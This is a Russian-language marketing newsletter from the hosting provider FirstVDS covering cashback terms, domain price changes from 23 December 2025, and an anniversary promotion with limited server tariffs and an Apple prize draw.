  • Пополнить баланс можно любым доступным способом.
  • Максимальная сумма кешбэка и количество платежей в течение акции не ограничено.
  • Кешбэк от суммы платежа зачисляется на баланс аккаунта сразу же после поступления основных средств.
  • Кешбэк можно использовать только для оплаты услуг FirstVDS.
  • Денежный эквивалент кешбэка выплате не подлежит, перевод кешбэка между аккаунтами не предусмотрен.
  • Обратите внимание: при выводе средств с баланса кешбэк аннулируется.

https://firstvds.ru

Изменение цен на домены с 23 декабря 2025 года



23 декабря 2025 года изменится стоимость регистрации новых и продления уже используемых доменных имён в зонах .ru,.рф, .com, .org, .net, .pro, .info и .biz



Если срок регистрации вашего домена подходит к концу, то до 23 декабря вы можете продлить его по текущей стоимости. Актуальные цены всегда можно посмотреть на нашем сайте или в Личном кабинете, в разделе «Товары».

Внутри билет на вечеринку




Вечеринка в честь нашего 23-летия в самом разгаре, и мы сохранили для вас место на танцполе. Ловите официальное приглашение в амбициознейший проект сезона – танцевальный флешмоб FirstVDS.

Детали мероприятия:
  • Место проведения: виртуальный танцпол.
  • Для кого: для вас и ваших друзей.
  • Дресс-код: наличие активного сервера.
  • Гвоздь программы: розыгрыш техники Apple.
firstvds.ru/actions/lets_dance


!!! Горячее предложение: только во время акции к заказу доступны лимитированные тарифы «DISCO» и «TECHNO». Заказ такого сервера даёт плюс один шанс на победу в розыгрыше, а специальная цена сохраняется при продлении аренды. Успевайте!


Важно: 22 декабря в 23:59 (мск) сбор участников и набор шансов завершится. Так что сейчас самое время укрепить свои позиции перед розыгрышем.

P.S. в нашем телеграм-канале спрятаны пасхальные сертификаты на пополнение баланса. Тссс, только никому! t.me/TakeFirstNews

https://firstvds.ru